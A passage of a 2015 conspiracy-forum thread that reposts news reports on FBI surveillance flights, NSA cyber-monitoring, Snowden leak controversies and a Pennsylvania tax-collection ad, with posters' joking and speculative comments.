During the past few weeks, the AP tracked planes from the FBI's fleet on more than 100 flights over at least 11 states plus Washington, D.C., most with Cessna 182T Skylane aircraft. These included parts of Houston, Phoenix, Seattle, Chicago, Boston, Minneapolis and Southern California.

Evolving technology can record higher-quality video from long distances, even at night, and can capture certain identifying information from cellphones using a device known as a "cell-site simulator" — or Stingray, to use one of the product's brand names. These can trick pinpointed cellphones into revealing identification numbers of subscribers, including those not suspected of a crime.

Officials say cellphone surveillance is rare, although the AP found in recent weeks FBI flights orbiting large, enclosed buildings for extended periods where aerial photography would be less effective than electronic signals collection. Those included above Ronald Reagan Washington National Airport and the Mall of America in Bloomington, Minnesota.

After The Washington Post revealed flights by two planes circling over Baltimore in early May, the AP began analyzing detailed flight data and aircraft-ownership registrations that shared similar addresses and flight patterns. That review found some FBI missions circled above at least 40,000 residents during a single flight over Anaheim, California, in late May, according to Census data and records provided by the website FlightRadar24.com.

Most flight patterns occurred in counter-clockwise orbits up to several miles wide and roughly one mile above the ground at slow speeds. A 2003 newsletter from the company FLIR Systems Inc., which makes camera technology such as seen on the planes, described flying slowly in left-handed patterns.

"Aircraft surveillance has become an indispensable intelligence collection and investigative technique which serves as a force multiplier to the ground teams," the FBI said in 2009 when it asked Congress for $5.1 million for the program

(http://i.huffpost.com/gen/3020842/thumbs/o-FBI-SURVEILLANCE-FLIGHTS-570.jpg?7)


Recently, independent journalists and websites have cited companies traced to a bank of Virginia post office boxes, including one shared with the Justice Department. The AP analyzed similar data since early May, while also drawing upon aircraft registration documents, business records and interviews with U.S. officials to understand the scope of the operations.

The FBI asked the AP not to disclose the names of the fake companies it uncovered, saying that would saddle taxpayers with the expense of creating new cover companies to shield the government's involvement, and could endanger the planes and integrity of the surveillance missions. The AP declined the FBI's request because the companies' names — as well as common addresses linked to the Justice Department — are listed on public documents and in government databases.

At least 13 front companies that AP identified being actively used by the FBI are registered to post office boxes in Bristow, Virginia, which is near a regional airport used for private and charter flights. Only one of them appears in state business records.

Included on most aircraft registrations is a mysterious name, Robert Lindley. He is listed as chief executive and has at least three distinct signatures among the companies. Two documents include a signature for Robert Taylor, which is strikingly similar to one of Lindley's three handwriting patterns.

The FBI would not say whether Lindley is a U.S. government employee. The AP unsuccessfully tried to reach Lindley at phone numbers registered to people of the same name in the Washington area since Monday.

Law enforcement officials said Justice Department lawyers approved the decision to create fictitious companies to protect the flights' operational security and the Federal Aviation Administration was aware of the practice. One of the Lindley-headed companies shares a post office box openly used by the Justice Department.

Such elusive practices have endured for decades. A 1990 report by the then-General Accounting Office noted that, in July 1988, the FBI had moved its "headquarters-operated" aircraft into a company that wasn't publicly linked to the bureau.

The FBI does not generally obtain warrants to record video from its planes of people moving outside in the open, but it also said that under a new policy it has recently begun obtaining court orders to use cell-site simulators. The Obama administration had until recently been directing local authorities through secret agreements not to reveal their own use of the devices, even encouraging prosecutors to drop cases rather than disclose the technology's use in open court.

A Justice Department memo last month also expressly barred its component law enforcement agencies from using unmanned drones "solely for the purpose of monitoring activities protected by the First Amendment" and said they are to be used only in connection with authorized investigations and activities. A department spokeswoman said the policy applied only to unmanned aircraft systems rather than piloted airplanes. The First Amendment of the U.S. Constitution guarantees freedom of speech and assembly.

___

Associated Press writers Sean Murphy in Oklahoma City; Joan Lowy and Ted Bridis in Washington; Randall Chase in Wilmington, Delaware; and news researchers Monika Mathur in Washington and Rhonda Shafner in New York contributed to this report.

___

View documents: http://apne.ws/1HEyP0t

Title: Re: they know what you are doing
Post by: space otter on June 04, 2015, 09:37:15 am
ya know since they know everything about us I don't see any reason why we can't all just be naked in public..


http://www.huffingtonpost.com/2015/06/04/snowden-surveillance-expanding_n_7511428.html

New Snowden Documents Reveal Secret Memos Expanding Spying
 


vid at link


 ProPublica    |  By Julia Angwin and Jeff Larson 
   Posted:  06/04/2015 11:22 am EDT    Updated:  28 minutes ago

by Julia Angwin and Jeff Larson, ProPublica, Charlie Savage, New York Times, and Henrik Moltke, special to ProPublica, June 4, 2015, 11:01 a.m.

This story was co-published with the New York Times.

Without public notice or debate, the Obama administration has expanded the National Security Agency's warrantless surveillance of Americans' international Internet traffic to search for evidence of malicious computer hacking, according to classified NSA documents.

In mid-2012, Justice Department lawyers wrote two secret memos permitting the spy agency to begin hunting on Internet cables, without a warrant and on American soil, for data linked to computer intrusions originating abroad 2014 including traffic that flows to suspicious Internet addresses or contains malware, the documents show.

The Justice Department allowed the agency to monitor only addresses and "cybersignatures" 2014 patterns associated with computer intrusions 2014 that it could tie to foreign governments. But the documents also note that the NSA sought to target hackers even when it could not establish any links to foreign powers.

The disclosures, based on documents provided by Edward J. Snowden, the former NSA contractor, and shared with the New York Times and ProPublica, come at a time of unprecedented cyberattacks on American financial institutions, businesses and government agencies, but also of greater scrutiny of secret legal justifications for broader government surveillance.

While the Senate passed legislation this week limiting some of the NSA's authority, it involved provisions in the U.S.A. Patriot Act and did not apply to the warrantless wiretapping program.

Government officials defended the NSA's monitoring of suspected hackers as necessary to shield Americans from the increasingly aggressive activities of foreign governments. But critics say it raises difficult trade-offs that should be subject to public debate.

The NSA's activities run "smack into law enforcement land," said Jonathan Mayer, a cybersecurity scholar at Stanford Law School who has researched privacy issues and who reviewed several of the documents. "That's a major policy decision about how to structure cybersecurity in the U.S. and not a conversation that has been had in public."

It is not clear what standards the agency is using to select targets. It can be hard to know for sure who is behind a particular intrusion 2014 a foreign government or a criminal gang 2014 and the NSA is supposed to focus on foreign intelligence, not law enforcement.

The government can also gather significant volumes of Americans' information 2014 anything from private emails to trade secrets and business dealings 2014 through Internet surveillance because monitoring the data flowing to a hacker involves copying that information as the hacker steals it.

One internal NSA document notes that agency surveillance activities through "hacker signatures pull in a lot." Brian Hale, the spokesman for the Office of the Director of National Intelligence, said, "It should come as no surprise that the U.S. government gathers intelligence on foreign powers that attempt to penetrate U.S. networks and steal the private information of U.S. citizens and companies." He added that "targeting overseas individuals engaging in hostile cyberactivities on behalf of a foreign power is a lawful foreign intelligence purpose."

The effort is the latest known expansion of the NSA's warrantless surveillance program, which allows the government to intercept Americans' cross-border communications if the target is a foreigner abroad. While the NSA has long searched for specific email addresses and phone numbers of foreign intelligence targets, the Obama administration three years ago started allowing the agency to search its communications streams for less-identifying Internet protocol addresses or strings of harmful computer code.

The surveillance activity traces to changes that began after the Sept. 11 terrorist attacks. The government tore down a so-called wall that prevented intelligence and criminal investigators from sharing information about suspected spies and terrorists. The barrier had been erected to protect Americans' rights because intelligence investigations use lower legal standards than criminal inquiries, but policy makers decided it was too much of an obstacle to terrorism investigations.

The NSA also started the warrantless wiretapping program, which caused an outcry when it was disclosed in 2005. In 2008, under the FISA Amendments Act, Congress legalized the surveillance program so long as the agency targeted only noncitizens abroad. A year later, the new Obama administration began crafting a new cybersecurity policy 2014 including weighing whether the Internet had made the distinction between a spy and a criminal obsolete.

"Reliance on legal authorities that make theoretical distinctions between armed attacks, terrorism and criminal activity may prove impractical," the White House National Security Council wrote in a classified annex to a policy report in May 2009, which was included in the NSA's internal files.

About that time, the documents show, the NSA 2014 whose mission includes protecting military and intelligence networks against intruders 2014 proposed using the warrantless surveillance program for cybersecurity purposes. The agency received "guidance on targeting using the signatures" from the Foreign Intelligence Surveillance Court, according to an internal newsletter.

In May and July 2012, according to an internal timeline, the Justice Department granted its secret approval for the searches of cybersignatures and Internet addresses. The Justice Department tied that authority to a pre-existing approval by the secret surveillance court permitting the government to use the program to monitor foreign governments.

That limit meant the NSA had to have some evidence for believing that the hackers were working for a specific foreign power. That rule, the NSA soon complained, left a "huge collection gap against cyberthreats to the nation" because it is often hard to know exactly who is behind an intrusion, according to an agency newsletter. Different computer intruders can use the same piece of malware, take steps to hide their location or pretend to be someone else.

So the NSA, in 2012, began pressing to go back to the surveillance court and seek permission to use the program explicitly for cybersecurity purposes. That way, it could monitor international communications for any "malicious cyberactivity," even if it did not yet know who was behind the attack.

The newsletter described the further expansion as one of "highest priorities" of the NSA director, Gen. Keith B. Alexander. However, a former senior intelligence official said that the government never asked the court to grant that authority.

Meanwhile, the F.B.I. in 2011 had obtained a new kind of wiretap order from the secret surveillance court for cybersecurity investigations, permitting it to target Internet data flowing to or from specific Internet addresses linked to certain governments.

To carry out the orders, the F.B.I. negotiated in 2012 to use the NSA's system for monitoring Internet traffic crossing "chokepoints operated by U.S. providers through which international communications enter and leave the United States," according to a 2012 NSA document. The NSA would send the intercepted traffic to the bureau's "cyberdata repository" in Quantico, Virginia.

The disclosure that the NSA and the F.B.I. have expanded their cybersurveillance adds a dimension to a recurring debate over the post-Sept. 11 expansion of government spying powers: Information about Americans sometimes gets swept up incidentally when foreigners are targeted, and prosecutors can use that information in criminal cases.

Citing the potential for a copy of data "exfiltrated" by a hacker to contain "so much" information about Americans, one NSA lawyer suggested keeping the stolen data out of the agency's regular repository for information collected by surveillance so that analysts working on unrelated issues could not query it, a 2010 training document showed. But it is not clear whether the agency or the F.B.I. has imposed any additional limits on the data of hacking victims.

In a response to questions for this article, the F.B.I. pointed to its existing procedures for protecting victims' data acquired during investigations, but also said it continually reviewed its policies "to adapt to these changing threats while protecting civil liberties and the interests of victims of cybercrimes."

None of these actions or proposals had been disclosed to the public. As recently as February, when President Obama spoke about cybersecurity at an event at Stanford University, he lauded the importance of transparency but did not mention this change.

"The technology so often outstrips whatever rules and structures and standards have been put in place, which means that government has to be constantly self-critical and we have to be able to have an open debate about it," Obama said.

Laura Poitras contributed reporting.




Title: Re: they know what you are doing
Post by: zorgon on June 04, 2015, 10:22:01 am
ya know since they know everything about us I don't see any reason why we can't all just be naked in public..

Scary thought   :o

(http://media.peopleofwalmart.com/wp-content/uploads/2012/10/4249SC.jpg)


New Snowden Documents Reveal Secret Memos Expanding Spying

What I want to know is where are all these NEW Snowden documents coming from?


Title: Re: they know what you are doing
Post by: space otter on June 04, 2015, 12:17:15 pm


ahhhhhhh geze Z.. my retina's are burnt..you must be getting mean with age..


anywho  I thought that I read somewhere at the beginning that he had a bunch of stuff and was going to release it a piece at a time ..but of course I can't  find where that was written

but I did find a few other interesting things about him and the image of him in the vid he wasn't looking so good
soooooooooooooooooooo who knows.?  ?   ?


here are a few tidbits I found




http://www.businessinsider.com/things-we-learned-from-wireds-huge-new-interview-with-edward-snowden-2014-8

Hunter Walker Aug. 13, 2014, 12:00 PM

2.  Bamford thinks someone else is "spilling secrets under Snowden's
name."
Though he said Snowden "adamantly refuses to address this possibility on the record," Bamford is convinced there is another leaker who is sending out intelligence documents "under Snowden's name."

"Independent of my visit to Snowden, I was given unrestricted access to his cache of documents in various locations. And going through this archive using a sophisticated digital search tool, I could not find some of the documents that have made their way into public view, leading me to conclude that there must be a second
leaker somewhere," wrote Bamford.


6. Glenn Greenwald lost the keys to documents Snowden gave him.
Journalist Glenn Greenwald was the first to publish many of the revelations from Snowden's leaks, but Greenwald has allegedly been unable to access many documents Snowden gave him about British intelligence agencies.

Bamford wrote that, last year, Greenwald, "found himself unable to open the encryption on a large trove of secrets from GCHQ—the British counterpart of the NSA—that Snowden had passed to him." According to Bamford, this was the reason Greenwald sent his partner, David Miranda, from their home in Brazil to the U.K. After getting another set of the documents, Miranda was stopped and detained by British authorities who seized the documents and were able to access them because they "discovered a paper of Miranda's with the password for one of the files."

In an exchange with cybersecurity expert Christopher Soghoian, on Twitter, Greenwald described Bamford's account of Miranda's detention as "completely wrong. Greenwald did not respond to an email from Business Insider asking what was incorrect about the story.




.....................


http://www.thedailybeast.com/articles/2015/04/13/edward-snowden-is-acting-very-strange-inside-russia.html


Spy Games
04.13.155:15 AM ET
Michael Weiss ?


Edward Snowden Is Acting Very Strange Inside Russia

down towards the end of the article

Russian spy-watcher Andrei Soldatov on Snowden’s strange behavior in Russia, the Nemtsov assassination, and signs of a power struggle in Putin’s inner circle.
I think there is some sort of a deal with the Russian authorities. It seems Snowden insisted that he’d never be used by Russian propaganda. He never made it onto RT or other state media outlets and of course they would be happy to have him.

He tries to be completely invisible in Russia. There was a strange case a few months ago. The Russian Association of Electronic Communication, or RAEC, announced in the spring of 2014 that they’d secured an approval from Snowden to have a special Snowden prize for Internet media… So RAEC had the ceremony in December. I was there. The problem was, there was no sign of Snowden! There was not even a video message from him, just nothing.

It seems the idea is to stress that he’s just not in the U.S., he’s somewhere, but not in Russia. I don’t think it was his strategy from the beginning. After all, he questioned Putin last April during Putin’s annual question-and-answer press conference about mass surveillance in Russia.

So my impression is that it’s not his decision.

But that gives the lie that he’s not being controlled.

[Soldatov nods.]

He’s clearly being exploited—after all, many repressive measures on the Internet in Russia were presented to Russians as a response to Snowden’s revelations. For instance, the legislation to relocate the servers of global platforms to Russia by September of this year, to make them available for the Russian secret services, was presented as a measure to assure the security of Russian citizens’ personal data.

I was told that there was some talk in American human-rights organizations that there might be interviews arranged for Russian journalists. But that never happened. So obviously Snowden’s handlers told him that he could say whatever he wants about the NSA and so on, but only to American journalists coming from the United States.

What I find interesting about this is that in December of 2014 Snowden, when asked about his security situation at the Amnesty International event, said, “My security’s great. I live a fairly normal life, I ride the Moscow underground when I go about day to day.” 

Thus he’s withdrawn the only plausible reason for why he’s not transparent here in Russia. So what’s the reason to be so secretive? There is some problem with logic here. For instance, I would understand if he says, “Look, I cannot comment on Russian surveillance, this is not my war.” Instead, he asked his question about Russian surveillance. And he is not transparent. I just don’t get it.


Title: Re: they know what you are doing
Post by: Dyna on June 04, 2015, 03:23:26 pm
I doubt it, I don't see any way of that being possible.

Have not read this full thread yet so many may have pointed it out. Things released or made public are usually long being used by military and police.


Peoples home security systems and numerous smart electronics are easy to use track a person's movements and exchanges it seems.

I don't use the things most people do but one day an electrician without notice installed a smart meter on our homes electric connection. Ours is the only one anywhere we have looked over the neighborhood.

Quote
Researchers in London have devised a stealthy system that gives off no radio waves so it can't be detected, but by sniffing Wi-Fi signals, it can pinpoint a person's movement inside a building. University College London scientists Karl Woodbridge and Kevin Chetty developed this suitcase-sized prototype that has successfully been tested through a one-foot-thick brick wall to determine "a person's location, speed and direction."
http://www.networkworld.com/article/2222896/microsoft-subnet/stealthy-wi-fi-spy-sees-you-through-walls-thanks-to-your-wireless-router.html

If so they will be ready with world wide free Wi-Fi
Quote
A New York City-based company, the Media Development Investment Fund, plans to launch hundreds of low-cost miniature satellites known as “cubesats” into orbit around the Earth to create the Outernet, a wireless connection to the Web available for free to every person in the world. If everything goes according to plan, the Outernet could be here as soon as June 2015.
http://www.ibtimes.com/introducing-outernet-free-worldwide-wi-fi-access-beamed-space-1556016
Title: Re: they know what you are doing
Post by: zorgon on June 04, 2015, 03:38:49 pm
Peoples home security systems and numerous smart electronics are easy to use track a person's movements and exchanges it seems.

Yes 100% true  I installed alarms for years... The monitoring station tracks every time you turn on an off your system

But ADT also provided another service... they could LISTEN IN to the house. The INTENT was to call you in case there was a medicalproblem, or hear the burglar.  The theory was that they could only do this AFTER the alarm was tripped...  as I said that was the THEORY :P
Title: Re: they know what you are doing
Post by: zorgon on June 04, 2015, 03:47:47 pm

here are a few tidbits I found

Now THAT seems highly likely

When Snowden told us the NSA was spying on us, well that wasn't anything new  Pegasus, Cryptome, ATS and many others have said that for years, provided proof, gave code names of the listening stations

So all Snowden did was confirm it to the Little Hobbits :P  And after a few months outrage, they still do what they always have done... Babble-a-lot.


Long suspected Snowden was a controlled release... and 'leaking' stuff under his name is a good move.. He is already branded traitor and you can only kill him once

All smells like Rotten Tuna




http://www.businessinsider.com/things-we-learned-from-wireds-huge-new-interview-with-edward-snowden-2014-8

Hunter Walker Aug. 13, 2014, 12:00 PM

2.  Bamford thinks someone else is "spilling secrets under Snowden's
name."
Though he said Snowden "adamantly refuses to address this possibility on the record," Bamford is convinced there is another leaker who is sending out intelligence documents "under Snowden's name."

"Independent of my visit to Snowden, I was given unrestricted access to his cache of documents in various locations. And going through this archive using a sophisticated digital search tool, I could not find some of the documents that have made their way into public view, leading me to conclude that there must be a second
leaker somewhere," wrote Bamford.


6. Glenn Greenwald lost the keys to documents Snowden gave him.
Journalist Glenn Greenwald was the first to publish many of the revelations from Snowden's leaks, but Greenwald has allegedly been unable to access many documents Snowden gave him about British intelligence agencies.

Bamford wrote that, last year, Greenwald, "found himself unable to open the encryption on a large trove of secrets from GCHQ—the British counterpart of the NSA—that Snowden had passed to him." According to Bamford, this was the reason Greenwald sent his partner, David Miranda, from their home in Brazil to the U.K. After getting another set of the documents, Miranda was stopped and detained by British authorities who seized the documents and were able to access them because they "discovered a paper of Miranda's with the password for one of the files."

In an exchange with cybersecurity expert Christopher Soghoian, on Twitter, Greenwald described Bamford's account of Miranda's detention as "completely wrong. Greenwald did not respond to an email from Business Insider asking what was incorrect about the story.




.....................


http://www.thedailybeast.com/articles/2015/04/13/edward-snowden-is-acting-very-strange-inside-russia.html


Spy Games
04.13.155:15 AM ET
Michael Weiss ?


Edward Snowden Is Acting Very Strange Inside Russia

down towards the end of the article

Russian spy-watcher Andrei Soldatov on Snowden’s strange behavior in Russia, the Nemtsov assassination, and signs of a power struggle in Putin’s inner circle.
I think there is some sort of a deal with the Russian authorities. It seems Snowden insisted that he’d never be used by Russian propaganda. He never made it onto RT or other state media outlets and of course they would be happy to have him.

He tries to be completely invisible in Russia. There was a strange case a few months ago. The Russian Association of Electronic Communication, or RAEC, announced in the spring of 2014 that they’d secured an approval from Snowden to have a special Snowden prize for Internet media… So RAEC had the ceremony in December. I was there. The problem was, there was no sign of Snowden! There was not even a video message from him, just nothing.

It seems the idea is to stress that he’s just not in the U.S., he’s somewhere, but not in Russia. I don’t think it was his strategy from the beginning. After all, he questioned Putin last April during Putin’s annual question-and-answer press conference about mass surveillance in Russia.

So my impression is that it’s not his decision.

But that gives the lie that he’s not being controlled.

[Soldatov nods.]

He’s clearly being exploited—after all, many repressive measures on the Internet in Russia were presented to Russians as a response to Snowden’s revelations. For instance, the legislation to relocate the servers of global platforms to Russia by September of this year, to make them available for the Russian secret services, was presented as a measure to assure the security of Russian citizens’ personal data.

I was told that there was some talk in American human-rights organizations that there might be interviews arranged for Russian journalists. But that never happened. So obviously Snowden’s handlers told him that he could say whatever he wants about the NSA and so on, but only to American journalists coming from the United States.

What I find interesting about this is that in December of 2014 Snowden, when asked about his security situation at the Amnesty International event, said, “My security’s great. I live a fairly normal life, I ride the Moscow underground when I go about day to day.” 

Thus he’s withdrawn the only plausible reason for why he’s not transparent here in Russia. So what’s the reason to be so secretive? There is some problem with logic here. For instance, I would understand if he says, “Look, I cannot comment on Russian surveillance, this is not my war.” Instead, he asked his question about Russian surveillance. And he is not transparent. I just don’t get it.
[/quote]
Title: Re: they know what you are doing
Post by: Glaucon on June 04, 2015, 09:35:41 pm
"Transparency" in Russia simply gives their media apparatus more information to shape their narrative.
Title: Re: they know what you are doing
Post by: zorgon on June 05, 2015, 03:08:59 am
Russians :P
Sexatary Pool :D

[youtube]2Uu_qI4GbgM[/youtube]

https://www.youtube.com/watch?v=2Uu_qI4GbgM
Title: Re: they know what you are doing
Post by: Glaucon on June 05, 2015, 05:50:49 am
Good find Z..... ;D ;D
Title: Re: they know what you are doing
Post by: zorgon on June 06, 2015, 11:50:07 am
"they know what you are doing"
Thank fuc4 for that.  Someone is actually doing their job properly!
They don't know do they?  ::)

AAWWWWW POOR BABIES

Seems they want to keep snooping on you :P

US govt attempts to block lawsuit against NSA

(http://drleonardcoldwell.com/wp-content/uploads/2014/01/nsa-blocks-lawsuits-surveillance.si_.jpg)

Lawyers from the Justice Department have urged a judge to halt a lawsuit against the NSA’s spy programs. This comes after the judge’s previous ruling that the NSA’s collection of metadata was likely unconstitutional and “almost Orwellian” in nature.

On Wednesday, government lawyers appealed to US District Court Judge Richard Leon to put court proceedings on hold for two lawsuits against the NSA filed by conservative legal activist, Larry Klayman.

Klayman has challenged the legality of the NSA’s programs that collect and store the metadata of American citizens on a massive scale.

The lawyers argued that if the lawsuits were allowed to go further, they would lead to the disclosure of classified information which would represent a “significant risk” to national security.

“Plaintiffs have made clear their intentions to seek discovery of this kind of still-classified information, concerning targets and subjects, participating providers, and other operational details of the challenged NSA intelligence programs,” said the motion.

http://drleonardcoldwell.com/2014/01/10/us-govt-attempts-to-block-lawsuit-against-nsa/
Title: Re: they know what you are doing
Post by: Glaucon on June 08, 2015, 09:59:24 am
Sounds like the "He opened it, why you looking at me?" accountability shift strategy.

Who has the balls to open this limited edition (government sanctioned) Pandora Box? Nobody, not ONE or TWO or even THREE of the highest cleaed individuals have the collective knowledge necessary to emulate the  wide  gaze required to see both ends of this thing.

Title: Re: they know what you are doing
Post by: micjer on June 09, 2015, 05:10:51 am
Russians :P
Sexatary Pool :D

[youtube]2Uu_qI4GbgM[/youtube]

https://www.youtube.com/watch?v=2Uu_qI4GbgM

The next olympic event.  Need to get a Canadian team together!
Title: Re: they know what you are doing
Post by: thorfourwinds on June 11, 2015, 10:01:21 am
[youtube]T4ZLhI3vOxo[/youtube]

A real radio Ad from the state of Pennsylvania - YouTube (https://www.youtube.com/watch?v=T4ZLhI3vOxo)

Uploaded on May 3, 2010
Similar in creepiness to the video Ad:?
https://www.youtube.com/watch?v=8aD5VIGBkew??
This one, however, they call people who don't pay "criminals".

I'm surprised they don't just say that if you don't pay up, they
will introduce you to a man named "Bubba" who think's you're really pretty.?




[youtube]DbzxHKkEwm4[/youtube]

Pennsylvania Department of Revenue Says 'Find Us Before We Find You' - YouTube (https://www.youtube.com/watch?v=DbzxHKkEwm4)

Uploaded on May 13, 2010
Pennsylvania Department of Revenue Says 'Find Us Before We Find You'
Title: Re: they know what you are doing
Post by: zorgon on June 11, 2015, 10:39:37 am
WHY does the Pennsylvania State ad have a picture of the DARPA IAO badge? DARPA's IAO polices Restricted technology not collect back state taxes :P

Calling  bogus on that one  :P
Title: Re: they know what you are doing
Post by: space otter on June 12, 2015, 07:42:27 am

yeah well my question is

what's the point..that's five years old already


actually since I live in pa I hafta tell you that most here were laughing and applauding  the approach to collect back taxes and going.. good, fine the losers..

so sorry if that disappoints anyone





this is last year but explains the problem and program






http://www.post-gazette.com/business/2014/09/21/New-laws-helping-Pennsylvania-collect-old-debts/stories/201408180002
 
New laws helping state collect old debts
September 21, 2014 12:00 AM
By Bill Toland / Pittsburgh Post-Gazette
 
As state lawmakers spent the spring grappling with ways to raise money and close a projected budget shortfall of more than $1 billion, there was a potential revenue source sitting under their noses the whole time — the pot of uncollected, overdue taxes, much of it owed by Pennsylvania businesses.

That’s one reason the state’s Revenue Department has been ramping up efforts to recover past-due debts, armed with new laws that allow it to conduct expanded audits, as well as more aggressive — and efficient — tax collection.

Other states, counties and cities are trying to do the same, particularly post-Recession with tax collections stagnant.

Last year, Philadelphia stepped up its sequestration efforts, allowing the city to seize rental income bound for property owners who are delinquent on their tax debts. Vermont hired new compliance auditors. Counties are garnishing wages and seizing homes. Other states are simply filing liens and turning debts over to collection agencies more quickly.

Crackdowns such as these aren't necessarily popular, particularly with those being targeted — but they are generally more popular than the alternative.

“It’s always an easier sell to say that we need more aggressive enforcement than to say, ‘Let’s raise taxes,’ ” said Chester County tax law attorney Kelly Phillips Erb.

One of the new Pennsylvania collection programs, authorized by 2010 legislation, is known as the Enhanced Revenue Collection Account. This fiscal year, the $15 million spent on the program and its hundreds of employees helped recover $162 million in tax debts and helped keep $69.3 million in “refunds avoided.”

(http://www.post-gazette.com/image/2014/09/20/20140921erca-revenue-refunds476)

More than half of the state’s recoveries ($83.9 million) come from businesses that haven’t turned over sales and use taxes, with an additional $20 million recovered in corporate net income taxes, capital stock taxes and foreign franchise taxes.

The ERCA program gives the Revenue Department “a way to invest in the positions we know will bring money,” said Elizabeth Brassell, press secretary for the department.

And there’s a lot of money out there — though it’s impossible to say how much.

Each month, the state updates its online lien list, a collection of businesses and individuals believed to owe taxes. (Liens are a claim against a property that must be satisfied before that property or business changes hands.)

As of this month, the list contains 137,600 liens, representing nearly $1.1 billion in unpaid taxes.The state files liens against delinquent businesses and individuals only when the Department of Revenue has “exhausted a number of other collections efforts, including notices, assessments and even phone calls and visits.”

About $235 million originates in Allegheny County.

Those totals, however, aren't reflective of the actual debt owed by those taxpayers; they are merely estimates. Some liens have been paid down since originally filed by the state. Unpaid debts may also be higher than the recorded lien because, if a debt remains unpaid, taxes and penalties continue to accrue.

Other lien amounts are revised up or down once a business or individual agrees to a payment plan.

The lien list, Ms. Brassell said, is a “snapshot in time,” not reflective of the full amount owed to the state.

The state experimented with a “tax scofflaw” list starting in 2006, when it began publishing a list of businesses that had failed to pay employer withholding taxes and and sales taxes. (The new online lien list includes all delinquent state taxpayers).

Though the state began culling data in July 2009, it waited a year to publish the scofflaw list. It did so to allow delinquent taxpayers to settle debts via a “tax amnesty” window, during which back taxes could be paid at reduced penalty and interest rates.

While the campaign was popular, the TV and radio spots that advertised the amnesty program were themselves controversial, saying Pennsylvania revenue agents “are [in] your telephone; we are your mail ... we are going to make your life very complicated ... Find us before we find you.”

After the amnesty window expired in June 2010, the state Department of Revenue released its online scofflaw list, hoping to “shame” delinquent taxpayers into settling up.

State liens exist prior to 2009, Ms. Brassell said, but there’s no central state accounting method that keeps track of those older debts. Those aren't ignored, she said, but the department’s tax collectors pursue debtors more vigorously “when we have a scent on the trail.”

Scents are developed more quickly these days. The state is stepping up “skip tracing” efforts, tracking down debtors who have no forwarding address or phone number. The state, through its ERCA program, also hired new phone agents for its delinquent tax call center. Liens are filed more quickly, too, now that the Revenue Department has moved away from its paper-based filing system.   

In 2012, the department was given legislative authority to attach a lien to a bank account. That means if a business’s taxes are past due, the department can get in touch with a bank and freeze an account until a tax debt is settled or at least until a payment plan is hashed out.

Also in 2012, the department was permitted to partner with a third-party contractor (the department hired Revenue Solutions Inc. of Pembroke, Mass.) that scours tax returns for questionable or fraudulent refunds. As of Sept. 15, the “benefits-based procurement” program had recovered nearly $11.8 million, yielding $7.74 million for the state with Revenue Solutions keeping $3.6 million for its own cut.

The state collected the money after first sending out tens of thousand of letters, telling taxpayers their refunds had been reduced or wiped out after further review. Others were asked to furnish additional documentation about deductions and work expenses.

While Revenue Solutions Inc. isn't a third-party collector — it just combs through the returns, while the state is still the party sending out letters and collecting money — the effect can be similar, Ms. Erb, the tax law attorney, said.

Because those companies work on commission — a cut of the money recovered — they have greater motivation to catch errors than resolve questions, she said. A taxpayer receiving a letter questioning a $50 deduction, even a legitimate one, is likely to pay the extra tax rather than put up a fight.

While taxpayers aren't thrilled, the Revenue Department would rather catch the money before it goes out the door than have to track it down later.

We’re “catching the errors earlier, before it gets to the lien process,” Ms. Brassell said. “We’re not waiting until it gets into the collections stream.”



Bill Toland: btoland@post-gazette.com .


The lien list, Ms. Brassell said, is a “snapshot in time,” not reflective of the full amount owed to the state.

 



Title: Re: they know what you are doing
Post by: thorfourwinds on June 12, 2015, 08:20:50 am
WHY does the Pennsylvania State ad have a picture of the DARPA IAO badge? DARPA's IAO polices Restricted technology not collect back state taxes :P

Calling  bogus on that one  :P

Greetings:

If One had basic reading and comprehension skills, One would have noticed this: "Here is a logo for another REAL government program called "Total Information Awareness" The program is real and now is over 4 years old." The video graphics have nothing to do with the RADIO ad.

With great respect,
tfw

We're calling bogus on Your comment.   :P
Title: Re: they know what you are doing
Post by: zorgon on June 12, 2015, 11:36:08 am
We're calling bogus on Your comment.   :P

Well maybe :P BUT I think it is one of those ploys to strike terror of the Illuminati into the people 

 ::)
Title: Re: they know what you are doing
Post by: space otter on June 12, 2015, 11:52:19 am


geeeeeezee you two..

doom porn and illuminati..

what the hell world do you guys live it...
it was the pa tax guys tryng to get unpaid taxes collected...that's all it was

I can see why it resurfaced though
some idiot with nothing better to do is re posting it on you tube as tax Nazi's
and here
PA Tax Nazis Know Who You Are - Video Dailymotion

talk about regurgitation of non important crap


I'm  going back to my garden where real important things happen




edit to add..  btw  it's kinda off topic too  :P

Title: Re: they know what you are doing
Post by: RUSSO on June 12, 2015, 12:42:39 pm

doom porn and illuminati...


Is not it the winning recipe?

I think Brian Hugh Warner pretty much sums up it all.

(https://s-media-cache-ak0.pinimg.com/736x/08/66/e4/0866e40629b3ea465f08a8fb6bf0d72a.jpg)

 ::)

"Lift up the receiver
I'll make you a believer"
Title: Re: they know what you are doing
Post by: space otter on June 14, 2015, 04:34:33 am


Russia and China broke into Snowden files to identify western spies, says MI6




The Guardian
James Tapper  1 hr ago

http://www.msn.com/en-us/news/world/russia-and-china-broke-into-snowden-files-to-identify-western-spies-says-mi6/ar-BBl7oh6



Downing Street believes that Russian and Chinese intelligence agencies have used documents from whistleblower Edward Snowden to identify British and US secret agents, according to a report in the Sunday Times.


The newspaper says MI6, Britain’s Secret Intelligence Service, has withdrawn agents from overseas operations because Russian security services had broken into encrypted files held by American computer analyst Snowden.

Snowden provided the Guardian with top secret documents from the US National Security Agency (NSA), which revealed that western intelligence agencies had been undertaking mass surveillance of phone and internet use.

He fled to Hong Kong, then to Moscow, and the Sunday Times claims that both Chinese and Russian security officials gained access to his files as a result.

The files held by Snowden were encrypted, but now British officials believe both countries have hacked into the files, according to the report.

The newspaper quotes a series of anonymous sources from Downing Street, the Home Office and British intelligence saying that the documents contained intelligence techniques and information that would enable foreign powers to identify British and American spies.

The newspaper quoted a “senior Downing Street source” saying that “Russians and Chinese have information”.

The source said “agents have had to be moved and that knowledge of how we operate has stopped us getting vital information”. The source said they had “no evidence” that anyone had been harmed.

A “senior Home Office source” was also quoted by the newspaper, saying: “Putin didn’t give him asylum for nothing. His documents were encrypted but they weren’t completely secure and we have now seen our agents and assets being targeted.”

The Sunday Times also quoted a “British intelligence source” saying that Russian and Chinese officials would be examining Snowden’s material for “years to come”.

“Snowden has done incalculable damage,” the intelligence source reportedly said. “In some cases the agencies have been forced to intervene and lift their agents from operations to prevent them from being identified and killed.”

A Downing Street spokeswoman told the Observer on Saturday night: “We don’t comment on leaks.”

Title: Re: they know what you are doing
